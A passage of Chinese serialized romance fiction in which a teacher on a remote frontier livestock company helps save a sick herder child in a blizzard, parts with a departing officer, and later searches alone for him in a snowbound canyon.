课间讨论最多的就是家里准备包什么馅的饺子。 “我娘说用秋天晒的沙葱和点豆腐渣!” “我家有攒的鸡蛋, 我娘说炒鸡蛋渣包!” “我阿妈说用羊油渣剁碎了和野菜……” 孩子们叽叽喳喳, 充满了对那顿难得的美味的期待。 舒染听着, 心里既为孩子们高兴, 也有些酸涩。在这个年代,一顿普通的饺子, 就是孩子们眼中最隆重的节日盛宴。 她也分到了一点白面,大概够包二三十个饺子的量。看着那点珍贵的面粉, 她决定做点什么。 放学后,她找到王大姐和李秀兰。 “王大姐, 秀兰, 眼看就冬至了,咱们扫盲班的姐妹们,平时一起学习, 也挺不容易的。我想着,能不能把大家凑在一起,包顿饺子?面粉大家肯定都不够,咱们就凑一凑,馅料也各家出点,不拘什么,凑个热闹,也算过个节。” 王大姐一听就赞同:“这主意好!咱们妇女也能自己热闹热闹!我那还有点秋天存下的干野菜,我出!” 李秀兰也点头:“豆腐坊还有些豆渣,我多拿点过来。舒老师,你说怎么弄,我们都听你的。” 舒染又去找了许君君,许君君贡献出了自己攒的几颗鸡蛋。 就这样,舒染牵头,扫盲班的妇女们积极响应起来。你家出把干菜,我家出点豆渣,她家出点咸盐……东西零零碎碎,却汇聚了大家的情谊。 冬至前一天下午,扫盲班没有上课,妇女们聚集在舒染之前住过的地窝子里,舒染搬走后,那里宽敞多了。 她们开始和面、调馅、包饺子,地窝子里挤得满满当当的。 舒染也挽起袖子,跟着一起忙活。她包饺子的手艺并不熟练,捏出来的饺子歪歪扭扭,引得大家一阵欢笑。 “舒老师,你这饺子下锅非得煮成片汤不可!”王大姐笑着打趣,手把手地教她怎么捏褶。 舒染学得认真,脸上也沾了些面粉,笑得眉眼弯弯。 陈远疆骑马从连部回来,路过这片地窝子区,听到里面传来的阵阵笑声,不由得放缓了速度。 他看到地窝子虚掩的门口,透出热闹的人影,也看到了人群中神采奕奕的舒染。 他勒住马,在稍远处静静看了片刻,直到有妇女出门倒水发现了他,惊讶地叫了一声“陈特派员”,他才像是惊醒一般,调转马头迅速离开了。 饺子出锅了,虽然馅料简单,甚至有些寡淡,但大家都吃得很香,很满足。妇女们纷纷把最先煮好的饺子夹给舒染。 “舒老师,你多吃点!辛苦你了!” “是啊,要不是你张罗,咱们哪能这么热闹!” 舒染吃着碗里热腾腾的饺子,看着周围一张张真诚的笑脸,心里暖烘烘的。她知道,她所做的这些细微的努力,正在一点点地赢得人心。这份人心,比任何文件上的分工都更重要。 冬至这天,天色阴沉,北风呼啸,雪花一片片飘落下来。看样子,一场大雪在所难免。 连队放假一天,家家户户都在家里享受着难得的清闲。 舒染在自己那间土坯房里,也煮了自己包的那份饺子。屋子里生了小小的炉子,比起教室里已经算是温暖了许多。 她刚吃完饺子,正准备收拾碗筷,就听到外面传来急促的马蹄声,以及一个带着哭腔的喊声:“舒老师!舒老师!救命啊!” 舒染心里一紧,立刻放下碗冲出门。 门口,阿迪力正从马背上滚下来,满脸惊恐,话语颠三倒四的:“舒老师!阿依曼!阿依曼烧发烫!不动了!爸爸让我找你!许医生……找不到!” 舒染瞬间明白了。阿依曼发了高烧,而且可能很严重,出现了惊厥或者昏迷。牧区缺医少药,图尔迪这是病急乱投医,找到她这里了。许君君今天可能去团部卫生所领药了,不在连队。 “别急!阿迪力,慢慢说,阿依曼什么时候开始烧的?除了烧,还有没有别的?”舒染问道。 “昨天晚上就有点烫,今天早上更烫了!然后就叫不醒了!”阿迪力急得眼泪直流。 从这里到牧区,骑马最快也要一个多小时,等找到许君君或者送去团部卫生所,根本来不及。 高烧惊厥处理不当会非常危险。舒染脑子里飞快地转着。她不是医生,但她有基本的现代医学常识和许君君平时灌输的一些急救知识。 “你等着!”舒染对阿迪力喊了一声,转身冲回屋里,飞快地翻找出许君君留给她的一个小药箱,里面有酒精、纱布和一些常用的基础药品。 她又一把抓起自己那条还算厚实的羊毛围巾和炕上那床半旧的棉被。 “走!带我去!”她冲出屋子,对阿迪力喊道。 阿迪力愣了一下,似乎没想到舒染会亲自去。 “快啊!”舒染催促道,自己已经利落地抓住马鞍,试图上马。那马认生,不安地踏着步子。 就在这时,一个沉冷的声音响起:“怎么回事?” 舒染回头,看到陈远疆不知何时站在不远处看着他们。 他大概是听到动静过来的。 “陈特派员!阿依曼发高烧昏迷了,很危险!许医生不在,我得赶紧过去看看!”舒染语速极快地解释。 陈远疆看着急得快哭出来的阿迪力,又落在舒染手里抱着的棉被和药箱上。他知道牧区现在的路况,也知道即将到来的大雪有多危险。 “你回去。”他对舒染命令道,语气是不容置疑的强硬,“我去。把药给我。” “不行!你不懂处理!高烧惊厥有可能会……”舒染急了。 “我说,回去!”陈远疆打断她。他几步上前,直接从舒染手里拿过药箱,又对阿迪力用民语快速说了几句。 阿迪力看看陈远疆,又看看舒染,显然更相信陈远疆。 “陈远疆!”舒染也火了,一把抓住他的胳膊,“那是我的学生!我必须去!你拦不住我!” 两人在寒风中僵持着。 最终,陈远疆闭了闭眼,再睁开时,里面是决断后的沉静。 “上马。”他吐出两个字,不再看她,而是利落地翻身上了自己的枣红马,然后朝舒染伸出手。 舒染愣了一下,随即反应过来,立刻抓住他的手。 陈远疆用力一拉,将她带到身前,坐在马鞍上,用自己后背为她挡住了大部分寒风。 “带路!”他对阿迪力喝道。 阿迪力立刻爬上自己的马,一夹马腹,冲在了前面。 陈远疆低头,对怀里的舒染沉声说了一句:“抓紧。” 随即,枣红马跟着阿迪力的马冲进了风雪之中。 风雪越来越大。 舒染靠在他的胸膛上,风雪扑面而来。视线所及,白茫茫一片,天地间仿佛只剩下呼啸的风声和马蹄声。 陈远疆将舒染整个圈在怀里,用军大衣的前襟尽可能地包裹住她,他的下巴抵着她的头顶,呼吸喷出的白气瞬间被风卷走。 阿迪力在前面引路,不时回头用民语焦急地呼喊,声音被风吹得七零八落。 “他说什么?”舒染大声问,声音闷在陈远疆的胸口。 “快到了。”陈远疆简短地回答,声音被风扯得有些模糊,但搂着她的手臂又收紧了些。 不知在风雪中挣扎了多久,前方终于隐约出现了毡房的轮廓。图尔迪和老阿肯早已焦急地等在门口,看到他们,立刻迎了上来。 陈远疆率先下马,然后几乎是半抱着将冻得有些僵硬的舒染扶下马背。舒染脚一沾地,踉跄了一下,被他扶住。 “孩子呢?”舒染顾不上自己,立刻问道。 图尔迪连忙将他们引進毡房。毡房里虽然比外面暖和,但温度也很低。 阿依曼躺在地毯上,小脸烧得通红,嘴唇干裂,已经陷入昏迷。 舒染心里一沉,立刻跪坐在阿依曼身边,打开药箱。 “温水,干净的布!”她一边吩咐,一边拿出酒精。物理降温是高烧应急的关键。 图尔迪的妻子赶紧端来温水。舒染用纱布蘸了温水,小心地擦拭阿依曼的额头、脖颈、腋窝和手脚心。然后,她又倒出一些酒精,快速擦拭孩子的掌心、脚心和后背。 陈远疆在一旁帮着她。物理降温持续了将近半个小时,阿依曼滚烫的体温似乎稍微降下去一点点,但依旧昏迷不醒。 “光这样不行,得用药。”舒染抬起头,眉头紧锁,看向陈远疆,“许医生给的药里只有普通的退烧药,恐怕压不住。需要盘尼西林或者其他更强的抗生素。” 陈远疆面色凝重。盘尼西林在这个年代是严格管控的稀缺药品,连队卫生所都未必常有,更别说牧区了。 “我去团部卫生所。”陈远疆立刻做出决定。从这里到团部,比回连队更近一些,但风雪中骑马,风险极大。 “太危险了!”舒染脱口而出。外面的风雪丝毫没有减弱的迹象。 “必须去。”陈远疆的语气没有任何商量余地。他看了一眼昏迷的阿依曼,转身就往外走。 “等等!”舒染叫住他,从药箱里翻出一个小纸包,塞进他手里,“这是许医生给的参片,含一片,能提气。”她又把自己的羊毛围巾解下来,不由分说地踮起脚,想要给他围上。 陈远疆挡住了她的手。“你留着。”他的目光在她冻得发紫的嘴唇上停留了一瞬,然后毅然转身,大步走进风雪中。 很快,外面传来马蹄声,迅速远去。 第110章 舒染抓着那条围巾, 看着毡房门口晃动的棉帘,心里揪紧了。风雪怒吼,他的身影早已消失不见。 她让自己冷静下来, 继续守在阿依曼身边,重复着物理降温的动作, 不时喂一点温水。 老阿肯和图尔迪一家也安静地守在旁边,毡房里只剩下火炉里的燃烧声和阿依曼粗重的呼吸声。 时间一点点过去,每一分每一秒都显得格外漫长。 舒染的心随着外面风雪的呼啸声起起伏伏。她不止一次走到门口, 掀开皮帘一角张望,入眼的只有漫天席地的风雪。 不知过了多久,就在舒染几乎要绝望的时候,外面终于再次传来了马蹄声, 以及陈远疆的声音。 “药来了!” 陈远疆几乎是摔进毡房的。他浑身沾着厚厚的雪, 眉毛、睫毛都结满了霜, 嘴唇冻得发颤, 军大衣硬邦邦的。他手里攥着一个包装药物的纸盒子。 他把东西塞给舒染, 声音抖得几乎不成调, 随即体力不支地靠坐在门边,大口喘着气。 舒染来不及多想, 也顾不上问他一路的艰险,立刻接过药瓶。 幸好许君君教过她肌肉注射的基本方法。她深吸一口气, 稳定住有些紧张到发抖的手,用炉子上沸腾的开水给针筒消毒, 然后小心翼翼地抽取药粉, 用生理盐水稀释。 图尔迪的妻子帮忙按住阿依曼。舒染找准位置,回忆着记忆中许君君的样子,将针头推入孩子细嫩的臀部肌肉。 整个过程, 她心里紧张,但是她知道此刻不能表现出来。 注射完毕,所有人都松了口气,都盯着阿依曼。 陈远疆靠在门边,闭着眼睛,胸膛剧烈起伏,脸上是掩饰不住的疲惫。 舒染走过去,想把把他扶起来,触手却是一片冰寒。他身上的雪开始融化,水渍洇湿了身下的地毯。 “把湿衣服脱下来烤烤吧,会冻坏的。”舒染低声说。 陈远疆睁开眼,看了她一眼,摇了摇头“不用。” 他挣扎着想站起来,却因为脱力晃了一下。 舒染下意识地伸手扶住他的胳膊。隔着冰冷湿硬的军大衣,她依然能感觉到他在发抖。 “别逞强了。”舒染的语气带着强硬,她看向图尔迪,“图尔迪大哥,能找件干爽的袍子给他换上吗?” 图尔迪连忙点头,去找了一件自己的旧袍子。 陈远疆似乎还想拒绝,但舒染已经不由分说地帮他去解军大衣的扣子。 陈远疆低头看着她坚持的神情,最终沉默下来,任由她动作。 脱下湿重的军大衣,里面的棉军装也湿透了。 陈远疆背过身脱去湿掉的上衣,快速换上了图尔迪的旧袍子。袍子有些短小,穿在他的身上显得有些滑稽,但总算隔绝了湿冷。 舒染把湿衣服拿到火炉子边烘烤,又倒了一碗热水递给他。 陈远疆接过碗,低头喝了一口。 两人一时间都没有说话。毡房里只有阿依曼渐渐平稳的呼吸声、火炉子的噼啪声和图尔迪一家低声的祈祷。 药效开始发挥作用。后半夜,阿依曼的高烧终于退了下去,虽然还很虚弱,但已经能睁开眼睛,小声地喊妈妈了。 图尔迪一家喜极而泣,老阿肯看着舒染和陈远疆,眼神里充满了感激,说道:“谢谢老师,谢谢陈干事……” 危机解除,疲惫感如同潮水般涌来。舒染靠着毡房壁,几乎要睡过去。 陈远疆看着她眼下的青黑,站起身,对图尔迪说:“风雪小了,我们该回去了。” 舒染强打起精神,看了看外面,天色微熹,风雪确实减弱了不少。 图尔迪一家千恩万谢,非要给他们带上些风干肉。 回程的路上,风雪小了很多,但积雪很深,马匹走得很慢。两人共乘一骑,依旧是由陈远疆控马,舒染坐在前面。 经过一夜的惊心动魄,此刻的宁静显得格外珍贵。 舒染靠在陈远疆怀里,一种劫后余生的恍惚感,夹杂着某种难以言喻的亲近感,在她心头弥漫。 “谢谢你。”她轻声说,声音淹没在马蹄踏雪声中,但她知道他能听见。 陈远疆没有回应,只是搂着她的手臂紧了紧。 * 回到连队,已是上午。将舒染送回学校附近,陈远疆便直接去了连部,他需要汇报昨晚的情况,尤其是动用稀缺药品,必须要有明确的记录和说明。 舒染回到自己的小屋,烧了点热水,简单擦洗了一下,换下衣服。疲惫感让她几乎倒头就睡,但脑子里却异常清醒,反复回放着昨夜风雪中的情景,以及陈远疆带着一身霜雪摔进来的样子。 下午,她强撑着去学校看了看。林雪舟已经在那里了,正带着几个孩子在教室里诵读课文。 林雪舟看到她,停下教学走了过来。 “舒染,你回来了?听说你昨晚去牧区了?没事吧?”林雪舟的语气带着关切。连队不大,一点风吹草动都能传开。 “没事,阿依曼孩子发高烧,已经稳定了。”舒染轻描淡写地说。 “哦,那就好。”林雪舟推了推眼镜,犹豫了一下,说道,“师部刚来了电话,关于示范点规划的事,有些新的精神要传达。另外……可能近期有个去师部参加短期培训的机会,主要针对基层教育骨干,提升理论水平。我觉得……你或许可以考虑一下。” 舒染心里一动。培训?在这个节骨眼上?是单纯的学习机会,还是……某种调离前的信号?她不动声色地问:“什么时候?多久?” “具体时间还没定,估计在开春前。大概一个月左右。这是个好机会,能系统地学习一下教育理论和方法。” 舒染笑了笑,语气平和:“谢谢林老师告知,我会考虑的。” 她没有立刻答应,也没有拒绝。在她看来,这未必不是一条路。如果示范点的主导权注定要交给林雪舟,那么自己去师部培训,既能提升自己,拓宽人脉,也能暂时避开连队里微妙的权力过渡期,不失为一个以退为进的选择。 但她需要了解更多信息。 又过了两天,阿迪力骑着马来到学校,给舒染送来块冻着的羊肉和一张鞣制好的小羊皮。他告诉舒染,阿依曼已经能下地走路了,老阿肯和图尔迪非常感激,希望舒老师和陈特派员有空再去牧区做客。 舒染收下礼物,心里暖暖的。这次冒险救人,不仅拉近了她和陈远疆的距离,也让她在牧区赢得了人心,这份是她未来工作中无形的资本。 她注意到,陈远疆似乎比之前更忙了,经常看不到人影。偶尔在连队碰到,他也只是匆匆点头示意。 这天傍晚,舒染正在屋里批改作业,听到敲门声。开门一看,是连部的通信员小赵。 “舒老师,陈特派员让我把这个给你。”小赵递过来一个包裹。 舒染接过,打开一看,里面是一个厚围巾,还有一双羊毛手套 舒染接过包裹,看着窗外渐渐暗下来的天色,心里五味杂陈。她能感觉到他那份心意,也明白横亘在他们之间的,不仅有时代的约束,还有各自肩上的责任与不确定的未来。 几天后的一个早晨,连部门口传来了吉普车的声音。这在偏僻的畜牧连是件稀罕事。很快,消息就传开了,师部来了领导,要找陈特派员。 舒染正在教室里带孩子们早读,听到外面的动静,她走到窗边,看到那辆深绿色的吉普车停在连部门口,一个干部模样的人正在和陈远疆说话。陈远疆神情严肃地听着。 过了一会儿,那人拍了拍陈远疆的肩膀,转身上了车。吉普车掉头,卷起一阵烟尘,驶离了连队。 陈远疆在原地站了片刻,然后转身快步走向马厩。 舒染的心跳有些快。她有一种预感,陈远疆可能要离开连队了。 果然,中午吃饭的时候,食堂里就在传,师部保卫处有紧急任务,抽调陈特派员回去,这一走就有可能不回来了。 下午,舒染去连部交一份扫盲班的材料,在门口遇到了正要出来的陈远疆。他显然已经准备好了,马鞍上挂着简单的行李。 两人在门口碰上,都是一顿。 “要走了?”舒染先开口。 “嗯。”陈远疆看着她,眼神深邃,里面翻涌着复杂的情绪,但最终只化为简单的一句,“去师部。执行任务。” “多久?” “不确定。可能……要一段时间,也可能要很久。” 两人之间陷入沉默。连部门口不时有人进出,目光好奇地扫过他们。 “注意安全。”舒染最终只说了这四个字。千言万语,都堵在胸口,却无法在这个时间地点宣之于口。 陈远疆深深地看了她一眼,似乎想说什么,但最终只是点了点头。 “你也是。”他声音低沉,“照顾好自己。” 说完,他不再犹豫,利落地翻身上马,回头看了她一眼,一夹马腹,马跑了起来,很快便消失在连队的路尽头。 舒染站在原地,看着空荡荡的路口,心里也像是空了一块。寒风卷着雪吹来,带来刺骨的寒意。 舒染忽然想起来什么,从口袋里掏出那盒没送出去的冻疮膏,有些无奈的笑了笑。《 》 110-120 第111章 陈远疆离开后的畜牧连, 仿佛一下子空寂了许多。 连队日常的生产生活依旧,人们按部就班地与严冬抗争。但舒染总觉得少了点什么。 天气越来越冷,真正的三九寒天到了。戈壁滩上的风愈加凛冽, 刮在人脸上带着一种狠劲,当地人称之为“白毛风”。雪一场接一场, 积雪深厚,几乎要将地窝子淹没。 启明小学的教室,即便塞满了干草, 糊严了缝隙,也抵不住这酷寒。孩子们坐在里面,即使穿着棉袄,也冻得鼻涕直流, 握笔的手僵硬得不听使唤。舒染看着心疼, 和林雪舟商量后, 决定在最冷的上午, 将课程缩短, 下午干脆放假, 让孩子们待在家里取暖。 林雪舟对此没有异议,他的大部分精力都投入到了学校的发展规划中, 偶尔会找舒染讨论一些细节。他似乎也意识到,没有舒染打下的群众基础, 他的规划只是空中楼阁。 舒染乐得清闲。上午上完课,下午她便有时间去扫盲班转转, 或者窝在自己的小屋里看看书。 许君君有时会过来串门, 给她带点小玩意,或者分享些连队里的八卦。 “听说没?陈远疆这次去师部,好像不只是保卫处的任务。”许君君压低声音, 神秘兮兮地说,“有人猜,可能跟明年开春边境线那边的一些部署有关。” 舒染心里一紧,面上却不动声色:“边境的事,咱们少打听。” “也是。”许君君点点头,又叹了口气,“这鬼天气,也不知道他在师部怎么样,有没有热炕头睡。” 舒染没接话,只是下意识地看了看桌上那个军用水壶。她每天都把它擦得干干净净,里面灌满了烧开的热水。 日子在寒冷和等待中一天天过去。舒染偶尔会收到陈远疆托人捎回来的东西,有时是一小包师部供销社才能买到的吃食,有时是几本书,东西不多,也从不附言,但每次收到,都能让她安心好几天。 她知道,他在用这种方式告诉她,他一切都好,也记挂着这里。 然而,这种平静之下,暗流仍在涌动。关于舒染可能要调回上海的风声,不知从何时起,又在连队里悄悄流传开来,说得有鼻子有眼,甚至提到了“调令已经在路上”。 王大姐和李秀兰听到风声,都忧心忡忡地来找舒染确认。 “舒老师,你可不能走啊!咱们扫盲班离不开你,孩子们也都离不开你!”王大姐拉着她的手,眼圈都有些发红。 “就是,舒老师,你走了,咱们可咋办?”李秀兰也急道。 舒染心里五味杂陈。她感激她们的挽留,也对这空穴来风的传言感到一丝警惕。 她知道,这背后肯定有人在推动,可能是林副政委那边的人,也可能是看她不顺眼的人。 “王大姐,秀兰,你们别听外面瞎传。”舒染安抚她们,“我没接到任何正式通知。只要组织上没让我走,我就会一直在这里教下去。” 她的话让两人稍微安心,但舒染自己心里却并不踏实。她想起林雪舟之前提到的培训机会,想起孙处长谈话时意味深长的眼神。 她知道,自己的去留,并不完全取决于她个人的意愿。 几天后,这片区域出现了一场罕见的强降雪。大雪连着下了一个星期,积雪深及大腿,所有的道路都被阻断。 人们的活动范围也变小了。除了必要的巡逻和清理屋顶积雪以防压塌,几乎所有人都呆在自己的地窝子或土坯房里,守着火炉火墙,对抗着严寒。连平日里最调皮的孩子们,也被严令禁止在室外长时间玩耍。 连队组织了所有能动用的人力,日夜不停地清理主要通道和房顶的积雪,防止地房顶被压塌。学校自然也停了课。 “舒老师!舒老师在家吗?”门外传来王大姐的声音,伴随着拍打门板的声音。 舒染连忙起身,费力地拉开被积雪堵住一小半的房门。一股寒气扑面而来,王大姐裹得像个球一样挤了进来,带进一阵雪沫。 “怎么了,王大姐?”舒染赶紧关上门。 王大姐拍打着身上的雪,“不好了,舒老师!我刚被叫去连部紧急开会了!听说通往团部的电话线断了!彻底断了!” 舒染一惊,电话线断了?这意味着连队失去了与外界的联系。 “什么时候的事?” “不知道!马连长也是刚发现联系不上团部,派人去查,才发现线杆倒了好几根,线都埋雪里了!这鬼天气,根本没法修!” “连里肯定有应急预案。马连长他们会处理的。”她安抚道,但心里也同样沉重。通讯中断意味着她无法得知任何关于外界的消息,包括可能关于她去向的调令,也包括陈远疆的安危。 这种一无所知的状态,比明确的坏消息更让人煎熬。 暴风雪没有丝毫减弱的迹象。 连队储存的煤炭和柴火在不断减少。马连长组织人力,冒险去连队后山的柴棚抢运最后一批储备柴,但回来的路上就有人冻伤了。 气氛变得压抑。人们挤在一起都在心里计算着所剩无几的燃料还能支撑多久。 舒染尽量节省用煤,没有把炉子里的火烧得那么旺,她白天多穿衣服活动着保暖,晚上早早钻冰冷的被窝,靠着炉子里的暖意硬扛。 林雪舟来找过她一次,他带来了连部的决定:鉴于极端天气和物资短缺,所有非必要活动全部暂停,学校无限期停课,直到天气好转、道路疏通。 “舒染同志,这是目前的形势,我们只能克服。”林雪舟搓着手,语气有些无奈,也带着一丝关切,“你这里还撑得住吗?” “还行。”舒染点点头,脸色有些苍白,但眼神依旧平静,“大家都一样。” 林雪舟犹豫了一下,似乎想说什么,但最终只是叹了口气:“那你多保重。有什么困难,可以跟连里反映。” 舒染知道,在这种时候,所谓的反映,恐怕也难有回音。 送走林雪舟,舒染看着窗外的天地,对陈远疆的担忧越来越重。这样恶劣的天气,他在哪里?是否安全?他知不知道连队现在的情况?任务顺利吗?各种猜测折磨着她。 舒染有些心焦,便投入到和大家清雪的劳动中。凌冽的寒风让舒染很快啊败下阵来,即使戴着厚厚的棉手套,手指也很快冻得麻木。呵出的气瞬间在眉毛和睫毛上结成白霜。 清雪休息的间隙,她向着师部方向眺望。目光所及,只有无边无际的白色,耳边只剩下风雪呼啸的声音。 “别看了,舒老师,这天气,鸟都飞不过来。”旁边一个清理积雪的老职工叹了口气说道。 舒染没说话,只是将脖子上的围巾又裹紧了些。 暴风雪肆虐的第四天下午,风势终于稍微减弱了一些,但雪依旧没停。连队派出的人回来报告,说通往团部的主要道路被彻底封死,短时间内根本无法疏通。 就在众人愁眉不展之际,靠近连队边缘巡逻的民兵气喘吁吁地跑回来,脸上带着惊疑不定的神色。 “马连长!刘书记!不好了!” “慌什么!慢慢说!”正在铲雪的马连长沉声喝道。 那民兵喘着粗气,指着西边的方向:“我刚才在峡谷口那边看到好像有人的痕迹!马蹄印!好像还有东西拖拽的痕迹!非常可疑!这鬼天气,除了咱们的人,谁会往那里钻?我怀疑是不是有敌特分子想趁这天气摸进来搞破坏!” “敌特”两个字让连部里所有人的神经绷紧了。在这个边境连队,尤其是在通讯断绝的敏感时期,任何不明痕迹都可能被视为安全隐患。 “你看清楚了?是不是野兽?”马连长急忙问。 “千真万确!马蹄印!还有像是人摔倒滑下去的拖痕!就在老冰崖那边!”民兵笃定地说。 老冰崖下面是峡谷口,地势险要,平时除了巡逻队很少人去。在这种暴风雪天气出现不明痕迹,确实极其可疑。 马连长和刘书记迅速交换了一个眼神。 “立刻集合民兵排!带上武器!去老冰崖查看情况!如果是敌特,务必抓获!如果是咱们的人……” 刘书记顿了一下,语气沉重,“也要弄清楚身份和意图!记住,安全第一,必要时……可以采取果断措施!” “是!”民兵排长领命,立刻转身去集合人手。 连部门前的空地上,得到消息聚集过来的人群顿时议论纷纷。 舒染听到马蹄印和拖痕时,心里揪了一下。会不会是陈远疆从师部回来,在风雪中迷了路,或者遭遇了意外,摔下了老冰崖? 她知道老冰崖的险峻,也知道在这种天气摔下去意味着什么。 她几乎是下意识地想要求一起前去。 王大姐和李秀兰立刻察觉了她的意图,俩人对视一眼。 随即,王大姐一把拽住了舒染的胳膊,“舒老师!你这是要干啥去?” 她故意让周围人都能听见,“那地方多危险啊!领导都说了是可疑分子,让民兵排去处理!你一个女同志,又不懂那些,跟去不是添乱吗?” 李秀兰也赶紧凑过来,挽住舒染的另一只胳膊,声音压低了些:“是啊舒老师,你看这天气,路都看不清,万一真是坏人可咋办?咱们就在连队等着消息,别让领导操心,啊?” 她们俩一左一右,心里跟明镜似的,都都知道舒染和陈特派员之间那点没说破的情愫,这种时候,更要帮她维护好,以免引来猜测和闲话。 舒染挣扎了一下,没挣脱,瞬间明白了她们的用意。 这时,许君君也赶了过来。她看到被王大姐和李秀兰劝住的舒染,又听到周围人的议论,立刻明白了局势。 她快步走到舒染面前,语气严肃:“舒染,冷静点。现在情况不明。你贸然跟去,万一遇到危险,不仅帮不上忙,还会分散救援力量。你要相信民兵同志。” 马连长和刘书记也松了口气。刘书记甚至还安抚了一句:“舒老师,你放心,民兵排的同志有经验,会处理好的。你安心留在连队。” 就在所有人都以为舒染被劝住了的时候,她也不再挣扎,反而顺着王大姐和李秀兰的力道,微微后退了半步,低下头说:“唉!我就是太担心连队的安全了。” 王大姐和李秀兰交换了一个眼神,但挽着她的手依旧没松开,仿佛生怕她一不留神又冲出去。 许君君知道,舒染不会就这么放弃。但她此刻能做的,也只有这么多。 人群在连领导的安抚下渐渐散去,继续之前的清雪工作。舒染也仿佛真的被劝服了。 舒染看着民兵集结队伍朝着峡谷口方向出发,一个大胆的念头在她心中升起。 第112章 人群渐渐散开, 重新投入到清雪工作中。舒染低着头,拿着铁锹机械地铲着雪,脑子里却飞速运转着。 巡逻民兵的话在她耳边回响:“……马蹄印, 拖痕……判断有身份不明人员潜入……” 身份不明。 陈远疆离开连队时,说的是紧急任务, 归期未定。他骑走的,正是他那匹枣红马。老冰崖地势险峻,大雪封山, 除了像陈远疆那样身负特殊任务的人,或者……敌特,谁会在这种天气往那里去? 理智告诉她,这一切这只是她的猜测, 没有任何证据。那很可能确实是需要警惕的敌特。 但是直觉在叫嚣:万一是他呢?万一他任务受阻, 受伤被困, 或者更糟? 她知道民兵排此去的首要任务是搜索、警戒, 必要时“果断处置”。如果下面真的是受伤或失去行动能力的陈远疆, 在无法立刻辨明身份的情况下…… 她不敢再想下去。 “舒老师?舒老师!”王大姐的声音把她从混乱的思绪中拉回, “你脸色咋这么白?是不是冻着了?快去歇会儿!” 舒染抬起头,对上王大姐和李秀兰关切的目光。她勉强挤出一个笑容:“没事, 可能就是有点累。” 李秀兰递过来一个军用水壶,“喝口热水暖暖。” 舒染接过, 抿了一口,温热的水没能驱散心底的寒意。 她看着王大姐和李秀兰, 知道她们刚才的劝阻是真心为她好。在这风气相对保守的连队, 一个单身女青年,尤其还是她这样成分不好的,为一个男性干部贸然出头, 只会惹来一身臊。她们在保护她。 可有些事,明知后果难测,她也必须去做。 她得去。至少要在情况无法挽回之前,确认下面的人到底是不是他。 主意已定,她反而冷静下来。 她假装体力不支,扶着铁锹重重喘了几口气:“王大姐,秀兰,我头有点晕,想去旁边背风的地方坐会儿。” 王大姐不疑有他,连忙说:“快去快去!这边有我们呢!” 李秀兰也赶紧点头:“快去歇着,别硬撑。” 舒染感激地看了她们一眼,慢慢挪到一堆清理出来的山包似的积雪后面,确认暂时无人注意她这个方向。她果断地放下铁锹,猫着腰,凭借积雪堆的掩护,快步朝自己那间小屋溜去。 回到小屋,她动作迅速地套上最厚的棉裤,把棉袄扎紧,戴上棉帽,然后,目光落在那条陈远疆送的厚羊毛围巾和手套上。 她毫不犹豫地拿起,将围巾在脖子上严严实实地绕了几圈,戴上手套。她又翻出陈远疆留下的那个军用水壶,灌满热水,又揣了几块干粮和一小块用油纸包着的羊油。这东西热量高,关键时刻能顶用。 最后,她看了一眼这个小屋,推开房门,风雪立刻灌了进来。她缩了缩脖子走出去,带上门,然后沿着连队后方那条小径,朝着老冰崖峡谷口的方向摸去。 这条路,陈远疆带她走过一次。那还是秋天,他说这是条近道,但不好走,让她记住,万一有什么事……他没说完,但她记住了。 风雪扑面,能见度极低。她深一脚浅一脚地跋涉在没膝的积雪中,每一步都耗尽全力。 刺骨的风透过围巾缝隙往脖子里钻,脸上裸露的皮肤很快就麻木了。她只能依靠模糊的记忆和大致的方向感前进。 不能停。停下来,就可能永远留在这片雪里。 不知走了多久,久到舒染感到时间似乎都静止在了这一片白茫茫中。 她的腿像灌了铅,肺叶因为吸入过多冷空气而刺痛,意识开始有些涣散了。四周除了风声和自己粗重的喘息、心跳,再无别的声响。 她迷路了。 一股恐慌感在心底腾升起来。在这片被冰雪覆盖的无人之境,就算是发生什么意外,也不会有人发现。而且,天黑之后,一些狼和熊等野兽可能会在此出没。 “冷静……舒染,冷静……”她强迫自己停下脚步,背对着风向,试图让狂跳的心脏平复下来。她环顾四周,白茫茫一片,所有参照物都被大雪掩盖。 她想起陈远疆曾经教过她,在这种天气里,要留意地面的起伏和隐约的地形特征。 她努力回忆那条小径附近应该有一个微微凸起的土坡,长着几丛特别耐寒的骆驼刺。 她咬着牙,继续向前摸索。 又坚持了一段路,就在她几乎要绝望,考虑是否该寻找回去的路,再原路返回时,她的脚踢到了一个被雪覆盖的硬物。不是石头,形状……她蹲下身,扒开积雪——是半截枯死的虬结的骆驼刺根茎。 找到了!她精神一振,根据骆驼刺的方位,重新校正了方向。 希望给了她新的力气。她继续前行,体力在飞速流逝,手脚早已失去知觉,全凭一股意念支撑。 终于,当她感觉自己下一秒就要栽倒在雪地里再也爬不起来时,眼前的地势开始向下,形成了一个被冰雪包裹的峡谷入口——老冰崖到了。 谷底的风更大,卷着雪粒砸在脸上生疼。她几乎睁不开眼,只能眯着一条缝,按照之前民兵描述的方位,沿着崖壁底部搜寻。 她有点害怕,她害怕可能看到的糟糕的景象。 往前又走了一段距离,她看到远处有一团与周围雪白不一样的暗色。 是一团倒在地上的阴影。 她心脏狂跳,跌跌撞撞地扑过去。 近了,更近了。那轮廓清晰起来是一匹倒毙的马,马鞍歪斜地挂在一边,缰绳散落在雪地里。 马蹄铁样式熟悉,正是陈远疆的枣红马!那匹马倒在雪地里,一条腿以怪异的角度扭曲着,身上覆着雪,已经没有了气息。 马在这里,那人呢?! 舒染只觉得一股寒气从脚底直冲头顶。她扑到马尸旁,疯狂地扒着周围的积雪。 “陈远疆!陈远疆——你在哪儿?!” 目光所及,只有一片白茫茫。周围一片死寂,没有任何回应。除了马和零乱的痕迹,再没有第二个身影。 他去哪儿了?受伤了?被拖走了?还是……已经…… 恐惧淹没了她,她无法再保持理智。 她像疯了一样,手脚并用地向四周爬行,急切地扒开每一片可能掩盖着什么的积雪。 “你在哪儿……回答我!陈远疆!你出来!” 她不停地扒,不停地喊,仿佛只要不停下,就能否定那个最坏的可能。 风雪依旧呼啸,绝望几乎要将她吞噬。 就在她力气耗尽,几乎要瘫倒在雪地里时,她的脚尖再次碰到一个硬物。这一次,感觉不同,像是……布料,冻硬了的布料。 不甘的执念让她聚起最后的力气跪坐起来,已经冻得没有知觉的手拼命扒开那片积雪。 一抹军绿色出现在她的视线。 是军大衣的颜色!和陈远疆离开时穿的那件一模一样! 